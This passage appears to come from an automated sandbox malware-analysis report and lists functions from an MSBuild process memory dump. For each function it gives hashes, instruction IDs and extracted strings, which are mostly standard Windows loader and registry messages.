                                                                          • Opcode Fuzzy Hash: 6598884af7b3928cb5bc389f2ad413a54069929f841e2bca6b6922fa821845f4
                                                                          • Instruction Fuzzy Hash: 94E1F070A04245DBDB69CF2CC481BBABBF9EF44718F18885DE996CB286D734E940CB50
                                                                          Function 0134A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: FilterFullPath$UseFilter$\??\
                                                                          • API String ID: 0-2779062949
                                                                          • Opcode ID: d92488e2ed053c9d74b91fb43b481ee5db681adadf31b4ed57f7a52e5e6e24ff
                                                                          • Instruction ID: 46c99536d704ca79dd5b925b3f62f343d4d36392d28bd960112b674200374c3b
                                                                          • Opcode Fuzzy Hash: d92488e2ed053c9d74b91fb43b481ee5db681adadf31b4ed57f7a52e5e6e24ff
                                                                          • Instruction Fuzzy Hash: 61A17D769016299BDF31DF28CC88BEAB7B8EF44718F1041E9E909A7250D735AE84CF50
                                                                          Function 013D7410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: Objects=%4u$Objects>%4u$VirtualAlloc
                                                                          • API String ID: 0-3870751728
                                                                          • Opcode ID: 1d9cebc11aa3d3aa8e32e0a5667f77c228d7a43dc40b5361d23add0e9ec13e0a
                                                                          • Instruction ID: 55f61824e4a21de9e1708cccd0d5557c8ece23e46337acbb521c679fedd7d5ca
                                                                          • Opcode Fuzzy Hash: 1d9cebc11aa3d3aa8e32e0a5667f77c228d7a43dc40b5361d23add0e9ec13e0a
                                                                          • Instruction Fuzzy Hash: 79913BB1E002199FEB14CF69D480BADBBB1FF48318F24816AE905AB791E7759842CF54
                                                                          Function 0135B440 Relevance: 4.0, Strings: 3, Instructions: 221COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
                                                                          • API String ID: 0-373624363
                                                                          • Opcode ID: bdedef8ff9c8ba573d70dfa90c65baed9c098bca86b584b59a5f92de3afc6df7
                                                                          • Instruction ID: 9bb938561d2a79baa1b13249a240a2a465a458e7cc4628811deb3e8c361e28c7
                                                                          • Opcode Fuzzy Hash: bdedef8ff9c8ba573d70dfa90c65baed9c098bca86b584b59a5f92de3afc6df7
                                                                          • Instruction Fuzzy Hash: FD91D171A04219CFDB25CF58C490BEDBBB6FF00B6CF144595ED11AB694D7789A40CBA0
                                                                          Function 0138909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: %$&$@
                                                                          • API String ID: 0-1537733988
                                                                          • Opcode ID: a6cda99a3dc9ba084bac9b408fd3ec3fbc215ea7733cfd977e45a703200067c1
                                                                          • Instruction ID: ee1ea41c13348af0e77d88310b1867de1596a4e048b2145f045d7ec59662d98a
                                                                          • Opcode Fuzzy Hash: a6cda99a3dc9ba084bac9b408fd3ec3fbc215ea7733cfd977e45a703200067c1
                                                                          • Instruction Fuzzy Hash: DF71BF706083469FDB15EF28C980B2BBBE9FFD561CF108A1DE49A47691C730E905CB92
                                                                          Function 013715F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • minkernel\ntdll\ldrmap.c, xrefs: 013BA59A
                                                                          • Could not validate the crypto signature for DLL %wZ, xrefs: 013BA589
                                                                          • LdrpCompleteMapModule, xrefs: 013BA590
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                                                          • API String ID: 0-1676968949
                                                                          • Opcode ID: 215a6822cf877f9556fd7c2b7a5ba538d47554b352d9aa7011782aadcbc09374
                                                                          • Instruction ID: 29c908ff57d5bd0e97c30a54b166e5c36b24821a083a00352f027e38d38e697f
                                                                          • Opcode Fuzzy Hash: 215a6822cf877f9556fd7c2b7a5ba538d47554b352d9aa7011782aadcbc09374
                                                                          • Instruction Fuzzy Hash: 8B513772600B45DBE732CB1CC984B567BE8BF4072CF180159EE919BAE6D778E940C750
                                                                          Function 0134758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
                                                                          • API String ID: 0-1151232445
                                                                          • Opcode ID: 3720851ac3b13a1c9a86a49eecd1b0f7286b07e46253ae9927762949d5092376
                                                                          • Instruction ID: 8d5c07106c2cfda6d807ece467e06434e3cef0c9ac8ff928f8222fa68501928c
                                                                          • Opcode Fuzzy Hash: 3720851ac3b13a1c9a86a49eecd1b0f7286b07e46253ae9927762949d5092376
                                                                          • Instruction Fuzzy Hash: 554105713003808FEF29CA5CC8847B97BEADF0635CF584469D5468B696D768E88ACB51
                                                                          Function 0140C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • @, xrefs: 0140C1F1
                                                                          • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0140C1C5
                                                                          • PreferredUILanguages, xrefs: 0140C212
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                                                          • API String ID: 0-2968386058
                                                                          • Opcode ID: bbf53cd9f3656900d584c89b0ad1d39d881e86330599806b7318b99d6d1d9c86
                                                                          • Instruction ID: 96f783df0039460606f814382dcd54d89890e1f37b1f65d8a695d72edba7c0a8
                                                                          • Opcode Fuzzy Hash: bbf53cd9f3656900d584c89b0ad1d39d881e86330599806b7318b99d6d1d9c86
                                                                          • Instruction Fuzzy Hash: 1F416171E00209EBDF12DBD9C881BEEBBB8AB14714F1441BBE609A7690D7749A458B50
                                                                          Function 013E4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                                                          • API String ID: 0-1373925480
                                                                          • Opcode ID: b76715ec42c35850ce23d33d18acd011593ee93d6f9d4f2fa43fde886c3745d6
                                                                          • Instruction ID: 701dce7895322c0984139021f897ce6520701983afa1c7530d58ebfae3957414
                                                                          • Opcode Fuzzy Hash: b76715ec42c35850ce23d33d18acd011593ee93d6f9d4f2fa43fde886c3745d6
                                                                          • Instruction Fuzzy Hash: 6141E172A04769CBEB25DB98C848BADBBF8FF59348F14045ADA01EB7D1D6349901CB10
                                                                          Function 013833A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • RtlCreateActivationContext, xrefs: 013C29F9
                                                                          • Actx , xrefs: 013833AC
                                                                          • SXS: %s() passed the empty activation context data, xrefs: 013C29FE
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
                                                                          • API String ID: 0-859632880
                                                                          • Opcode ID: 5cea8e55ae8ffe45029f2f25c4fdf207b2eb76052fa46dcadad6f9fca44630cb
                                                                          • Instruction ID: 1aa9f452f8b4d9a695ffeb4d6278a2bd145e4547c58581c1d96932574cd4c9c0
                                                                          • Opcode Fuzzy Hash: 5cea8e55ae8ffe45029f2f25c4fdf207b2eb76052fa46dcadad6f9fca44630cb
                                                                          • Instruction Fuzzy Hash: F13114366003059FEB26EF5CD884B967BA8FB44B18F158429EE09AF395CB71EC51C790
                                                                          Function 013DB594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • GlobalFlag, xrefs: 013DB68F
                                                                          • \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 013DB632
                                                                          • @, xrefs: 013DB670
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
                                                                          • API String ID: 0-4192008846
                                                                          • Opcode ID: e34c6ba052d6fd2f4270c1ebfb9ca3eec90a4c449e09e523c7dc7849686768af
                                                                          • Instruction ID: 1909f0ccbf51f7d6bfff2afddbe455a3832932ebd5796fa5b3223b39e6151375
                                                                          • Opcode Fuzzy Hash: e34c6ba052d6fd2f4270c1ebfb9ca3eec90a4c449e09e523c7dc7849686768af
                                                                          • Instruction Fuzzy Hash: 40314BB2A00209AFDF10EF99DC80AEEBBBCEF45758F054469E605A7244D7749A04CBA4
                                                                          Function 01391270 Relevance: 3.8, Strings: 3, Instructions: 97COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • @, xrefs: 013912A5
                                                                          • BuildLabEx, xrefs: 0139130F
                                                                          • \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0139127B
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                                          • API String ID: 0-3051831665
                                                                          • Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                                          • Instruction ID: 1fdf82f8096ef3ec5d27b05329467a5cee345f3bd6a06ce0b309b15b8b42a0f7
                                                                          • Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                                          • Instruction Fuzzy Hash: 3A31817290061EBBDF12AF99CC44EDFBBBDEB94768F004425E514A76A0D730DE059B50
                                                                          Function 013D20DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • Process initialization failed with status 0x%08lx, xrefs: 013D20F3
                                                                          • minkernel\ntdll\ldrinit.c, xrefs: 013D2104
                                                                          • LdrpInitializationFailure, xrefs: 013D20FA
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                                          • API String ID: 0-2986994758
                                                                          • Opcode ID: b83400f5fdbdb4fbc455fd6c9ee8bded240389ad3034088a1fd0fab2f7cea25f
                                                                          • Instruction ID: 429c891cd8a5780d0ea83333166f392c2ee5d7721ce2ac5993c2b8305f6c8dff
                                                                          • Opcode Fuzzy Hash: b83400f5fdbdb4fbc455fd6c9ee8bded240389ad3034088a1fd0fab2f7cea25f
                                                                          • Instruction Fuzzy Hash: C2F0C879640318AFE724EB5DDC42F963B68EB40F5CF104059FA407B281D5B0A904C695
                                                                          Function 013603E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: ___swprintf_l
                                                                          • String ID: #%u
                                                                          • API String ID: 48624451-232158463
                                                                          • Opcode ID: 91e8a71516400e247dfcfbcda5c47d1dbcd932331482626b8ba7b6c3ac3b3da5
                                                                          • Instruction ID: bd6f70c7780f555dd50b843694e475076ddfdb4592658b382d05b292d4c9621e
                                                                          • Opcode Fuzzy Hash: 91e8a71516400e247dfcfbcda5c47d1dbcd932331482626b8ba7b6c3ac3b3da5
                                                                          • Instruction Fuzzy Hash: 93716A71A0010A9FDF05DFA8C990BAEB7F8FF18708F144065EA05A7256EA34ED01CB64
                                                                          Function 013652A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: @$@
                                                                          • API String ID: 0-149943524
                                                                          • Opcode ID: c2e5f1e1036888c68b472338c494b10b20347bac217f68e74c814dfbbc314ac9
                                                                          • Instruction ID: 0be7ec6cfa39f2702a4b1b09f0718eb17f2ee2281deebaf2e8caa13bd19bb152
                                                                          • Opcode Fuzzy Hash: c2e5f1e1036888c68b472338c494b10b20347bac217f68e74c814dfbbc314ac9
                                                                          • Instruction Fuzzy Hash: EA32B0B06083118BDB24CF18C58077FBBE9EF85798F14892EFA8597694E734D840CB92
                                                                          Function 0141A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: `$`
                                                                          • API String ID: 0-197956300
                                                                          • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                          • Instruction ID: 23fff3db130d2d4f91d33ab8c3e291e06f2c5a15538e69929bfd501a1bc3c616
                                                                          • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                          • Instruction Fuzzy Hash: CFC1F5312053829BE725CF29C840B6BBBE5BFD4318F284A2EF699C72A8D774D505CB41
                                                                          Function 0135A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • RtlpResUltimateFallbackInfo Exit, xrefs: 0135A309
                                                                          • RtlpResUltimateFallbackInfo Enter, xrefs: 0135A2FB
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                                                          • API String ID: 0-2876891731
                                                                          • Opcode ID: 45dbf201d60f0a1ecbd206ee1495ec73920fadfde8ebf4e5866e5dda63d264ea
                                                                          • Instruction ID: 8b209eab2b491fb316fae7135a9b271300656ae62719c3490b76803c526a8ff1
                                                                          • Opcode Fuzzy Hash: 45dbf201d60f0a1ecbd206ee1495ec73920fadfde8ebf4e5866e5dda63d264ea
                                                                          • Instruction Fuzzy Hash: A141BC31A04649DBDB15DF59C880FAA7BB8FF84B0CF1442A5EE04DB692E6B5D900CB50
                                                                          Function 013E35BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
                                                                          • API String ID: 0-118005554
                                                                          • Opcode ID: d69fdca9e991eb90886b1e719df1de38c5cdd2fa9d57b29e66f51ff6be821c99
                                                                          • Instruction ID: a283615b809f5012d375e091952062454c4c877ce08ee125c066696908e9f4d6
                                                                          • Opcode Fuzzy Hash: d69fdca9e991eb90886b1e719df1de38c5cdd2fa9d57b29e66f51ff6be821c99
                                                                          • Instruction Fuzzy Hash: A831A1312087529BD311DB6CD898B2AB7E8FF95768F040869F954CB3D0E734D905CB56
                                                                          Function 0138329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: .Local\$@
                                                                          • API String ID: 0-380025441
                                                                          • Opcode ID: 76a363207f53f0b7f891a13e152c74cea8bc5e6dd8bb17906042181a9bb74d42
                                                                          • Instruction ID: 5548b3f8dc919adacb2ab1ddceb782f53d0a6b1192977bf5e775c2932d740157
                                                                          • Opcode Fuzzy Hash: 76a363207f53f0b7f891a13e152c74cea8bc5e6dd8bb17906042181a9bb74d42
                                                                          • Instruction Fuzzy Hash: 86319372549705AFD711EF2CC480A5BBBE8FF85A58F44092EF99583350DA70DD04CB92
                                                                          Function 0138A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID: Cleanup Group$Threadpool!
                                                                          • API String ID: 2994545307-4008356553
                                                                          • Opcode ID: 22eae8dde3b6c8de6ea540170c5dbbfb3243b4f5fa77b047279eb066ecc3bb4c
                                                                          • Instruction ID: 3698edbd5994ae251d7d2f6a70869bd340137887eab39dfb9afb54b33c23e6f4
                                                                          • Opcode Fuzzy Hash: 22eae8dde3b6c8de6ea540170c5dbbfb3243b4f5fa77b047279eb066ecc3bb4c
                                                                          • Instruction Fuzzy Hash: 6F01D1B2251704AFD311EF14CD46B2677E8E78572DF01893AE658C7194E334D904CB4A
                                                                          Function 01357370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: cb2ca32e504adbbdebbc09a97d17f78701e3a1a83520a6997e0009f0743bfd0f
                                                                          • Instruction ID: f6f1b1aba0d0915fa56a3e1f939ef0736e5f7079780e30ff6e0aec33c92c2817
                                                                          • Opcode Fuzzy Hash: cb2ca32e504adbbdebbc09a97d17f78701e3a1a83520a6997e0009f0743bfd0f
                                                                          • Instruction Fuzzy Hash: 89A18CB1608342CFC761CF28D480E2ABBE9FF98718F51492EE98597751E730E945CB92
                                                                          Function 013D6420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID: 0-3916222277
                                                                          • Opcode ID: 757e33443a2a3f561a88aff021a3fed90cefa96d170d698bc7d99a5c96b45b03
                                                                          • Instruction ID: d2742f80ebf4a8dc9407ae4333dcda9c6c93bfa31c0dda0ce2bcf22be8833c22
                                                                          • Opcode Fuzzy Hash: 757e33443a2a3f561a88aff021a3fed90cefa96d170d698bc7d99a5c96b45b03
                                                                          • Instruction Fuzzy Hash: 4C9195B2A00219AFEB21DF99DC85FAEBBB9EF14754F104065F610BB194D774AD04CBA0
                                                                          Function 0140B256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: PreferredUILanguages
                                                                          • API String ID: 0-1884656846
                                                                          • Opcode ID: c13f23ecb872cb63f0521c2457a232ee98eab42e34ec0e19e0d588fba353022b
                                                                          • Instruction ID: 647e316b15e7680552c41d0664db3a822b50ede42e777a85146abdba8ee5114b
                                                                          • Opcode Fuzzy Hash: c13f23ecb872cb63f0521c2457a232ee98eab42e34ec0e19e0d588fba353022b
                                                                          • Instruction Fuzzy Hash: 4A41B37A900219ABDF12DA9AC840AEFB7B9EF44754F254137EE11E73A0D634DE40C7A4
                                                                          Function 013F705E Relevance: 1.4, Strings: 1, Instructions: 112COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: kLsE
                                                                          • API String ID: 0-3058123920
                                                                          • Opcode ID: 98fa1cc482c8f7d123e8f090cb7022f83ece664338fc79ca02ce2438efbc3f69
                                                                          • Instruction ID: 30d882ea9cf6acc9d682fe789a1fe0daa205878027a8112cd2cb1c6d42a12473
                                                                          • Opcode Fuzzy Hash: 98fa1cc482c8f7d123e8f090cb7022f83ece664338fc79ca02ce2438efbc3f69
                                                                          • Instruction Fuzzy Hash: DB41597950135247F731EF7DE884B653FA4AB11B2CF19012DEE948A1E9CBB4448AC7A0
                                                                          Function 01387505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: #
                                                                          • API String ID: 0-1885708031
                                                                          • Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                                                          • Instruction ID: bb2b826132b196e35ce4465dc674af7ef493ea4f870df974bf0ea39c6bae6dd5
                                                                          • Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                                                          • Instruction Fuzzy Hash: 1141D275A0025ADBCF21EF48C490BBEB7B6FF84719F20405AE94597204DB34DD91CBA1
                                                                          Function 01355096 Relevance: 1.3, Strings: 1, Instructions: 71COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: Actx
                                                                          • API String ID: 0-89312691
                                                                          • Opcode ID: 9f831a884dbb68fc595f675c2d494cc016657e3e74c2754471d5cf9f5d6e7628
                                                                          • Instruction ID: e3c578c72848a486a0ebe4489c40d2f32b0c80fbb65b39210d3c425ac55dbb79
                                                                          • Opcode Fuzzy Hash: 9f831a884dbb68fc595f675c2d494cc016657e3e74c2754471d5cf9f5d6e7628
                                                                          • Instruction Fuzzy Hash: 7A11E6303442068BEBA84D1D8850E76BB99EB91A2CF35812AED52CFB91D671FC418380
                                                                          Function 013D106E Relevance: 1.3, Strings: 1, Instructions: 62COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: LdrCreateEnclave
                                                                          • API String ID: 0-3262589265
                                                                          • Opcode ID: f9a6831a369b4aebdc71b1d2a3c259151721f33e9c33cf8d0df7d5453a1935f7
                                                                          • Instruction ID: 35d1cba9e5a9ecff6dceea8d921b88893013848a9e565d276a136dbed4b0489e
                                                                          • Opcode Fuzzy Hash: f9a6831a369b4aebdc71b1d2a3c259151721f33e9c33cf8d0df7d5453a1935f7
                                                                          • Instruction Fuzzy Hash: 302107B2A083449FC320DF6AD844A5BFBE8FBD5B04F004A1EF99497250D7B09405CB92
                                                                          Function 013A739A Relevance: .7, Instructions: 705COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 73c53e871c524d4a14630fa062a78d93f993f444b42de6355cbbfc1afecb0d4d
                                                                          • Instruction ID: 5f83094d28297a133278374fd8d0c0374e2782c59d39fea73dc3c787874a2bab
                                                                          • Opcode Fuzzy Hash: 73c53e871c524d4a14630fa062a78d93f993f444b42de6355cbbfc1afecb0d4d
                                                                          • Instruction Fuzzy Hash: AB42D071A006168FDB19CF5DC490ABEBBF6FF88318B58816DD542AB351D736E842CB90
                                                                          Function 0137B2C0 Relevance: .6, Instructions: 629COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
